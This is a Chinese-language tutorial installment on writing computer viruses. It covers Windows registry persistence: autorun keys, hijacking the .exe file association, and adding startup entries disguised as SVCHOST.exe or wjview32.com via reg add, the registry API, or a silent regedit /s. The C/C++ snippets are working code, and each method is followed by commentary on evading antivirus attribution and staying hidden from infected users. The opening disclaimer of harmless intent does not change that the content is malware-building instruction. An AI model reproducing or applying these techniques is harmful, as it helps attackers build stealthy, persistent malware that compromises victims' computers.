本連載文章只討論寫病毒的技術,並不討論危害電腦及網路,所樣本的程式只是一個無危害的模板,你可以在技術範圍及法律範圍內擴充實驗.
在讀本程式前請保證不用此程式進行違法活動,由於你使用本程式而對他人、組織等造成的任何損失都由將你承擔,本人不負任何責任,否則,請馬上離開.
拒絕任何形式的轉載(本人除外),否則屬於著作侵權,將受到《中華人民共和國軟體保護條理》、《中華人民共和國著作權法》、《中華人民共和國智慧財產權法》等法律最大限度的制裁!!
這是第三篇連載了,這次著重寫些編程技術和病毒原理方面問題。
註冊表篇
1.可以用於病毒開機自啟動的註冊表位置:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
以上只是預設啟動並執行部分註冊表位置,其實還可以在系統啟動外客(shell explorer.exe)後添加病毒路徑等方法,同樣可以實現通過註冊表開機自動運行。
2.關聯檔案類型
在註冊表HKEY_CLASS_ROOT下可以變更檔類型的預設啟動程式,比如更改EXE檔案的啟動程式為你寫的病毒,那麼每當運行exe程式時,病毒將替代程式運行
例:
到註冊表HKEY_CLASS_ROOT\exefile\shell\open\command下,修改“預設”修改為c:\windows\svchost.exe "%1" %*,那麼以後運行.exe檔案時只會運行c:\windows\svchost.exe
3.程式修改註冊表的方法:
(1)使用REG命令添加修改註冊表:
REG命令使用方法具體可以在命令提示字元中輸入REG /?和通過參閱Windows命令協助查看
主要格式:
REG Operation [Parameter List]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]
例:向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名為SVCHOST的索引值,索引值內容為C:\Windows\system\SVCHOST.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f
調用reg命令的方法主要有兩中,一種是使用C語言中的system函數,另一種是使用C語言中的spawn類函數(如函數spawnl)。具體system和spawnl使用方法請參見其它資料,這裡僅舉一例:
例:用system函數通過reg命令向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名為SVCHOST的索引值,索引值內容為C:\Windows\system\SVCHOST.exe
system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");
評論與小結:使用REG命令添加註冊表可以達到直接調用系統命令(工具)來修改註冊表的目的,如果被殺毒軟體攔截也只會顯示修改操作的發出來自C:\WINDOWS\system32\reg.exe,使病毒不容易被尋找到。但由於REG命令屬於控制台命令,因此調用時有黑色的控制台出現,是病毒的徵兆被感染使用者發現,不利於病毒隱藏。
(2)使用WindowsAPI添加修改註冊表
WindowsAPI為我們提供了大約25個函數。他提供了對註冊表的讀取,寫入,刪除,以及開啟註冊表及索引值時所有函數這些函數有:
RegCloseKey
RegConnectRegistry
RegCreateKey
RegCreateKeyEx
RegDeleteKey
RegDeleteVale
RegEnumKey
RegFlushKey
RegGetKeySecurity(Windows9X不適用)
RegLoadKey
RegNotifyChangeKeyValue(Windows9X不適用)
RegOpenKey
RegOpenKeyEx
RegQueryInfoKey
RegQueryValue
RegQueryValueEx
RegReplaceKey
RegRestoreKey(Windows9X不適用)
RegSaveKey
RegSetKeySecurity(Windows9X不適用)
RegSetValue
RegSetValueEx
RegUnLoadKey
等,函數的使用需要在32位C編譯器下調用windows.h檔案,同(1)中一樣,具體函數的使用方法請參見其它資料,這裡僅舉一例.
例:通過WindowsAPI向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名為SVCHOST的索引值,索引值內容為C:\Windows\system\SVCHOST.exe
TRegistry* Registry;
Registry=new TRegistry();
Registry->RootKey=HKEY_LOCAL_MACHINE;
Registry->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",FALSE);
Registry->WriteString("SVCHOST","C:\\Windows\\system\\SVCHOST.exe");WriteString()
Registry->CloseKey();
評論與小結:使用WindowsAPI添加註冊表可以達到直接無須調用系統命令(工具)就可以修改註冊表的目的,但如果被殺毒軟體攔截會顯示修改操作來自的病毒體檔案所在的路徑,使病毒容易被尋找到。但由於WindowsAPI可以“悄悄”的完成修改,在前台沒有任何顯示,因此調用時如果未被攔截,很難被感染使用者發覺,利於病毒隱藏。
(3)使用REGEDIT添加修改註冊表
REGEDIT就是登錄編輯程式,但它其實有一個/s的參數,只要調用regedit /s 註冊表檔案,就可以在後台無提示的修改註冊表。同樣需要用spawnl函數調用它。
例:通過spawnl函數調用regedit向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名為wjview32的索引值,索引值內容為C:\windows\wjview32.com /s
char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
評論與小結:使用spawnl函數+REGEDIT可以兼得WindowsAPI和REG兩種方法的優勢,添加註冊表如果被殺毒軟體攔截會顯示修改操作來自c:\windows\regedit.exe,使病毒的路徑難以被尋找到,利於病毒的隱藏。REGEDIT可以“悄悄”的完成修改,在前台沒有任何顯示,因此調用時如果未被攔截,很難被感染使用者發覺,利於病毒隱藏。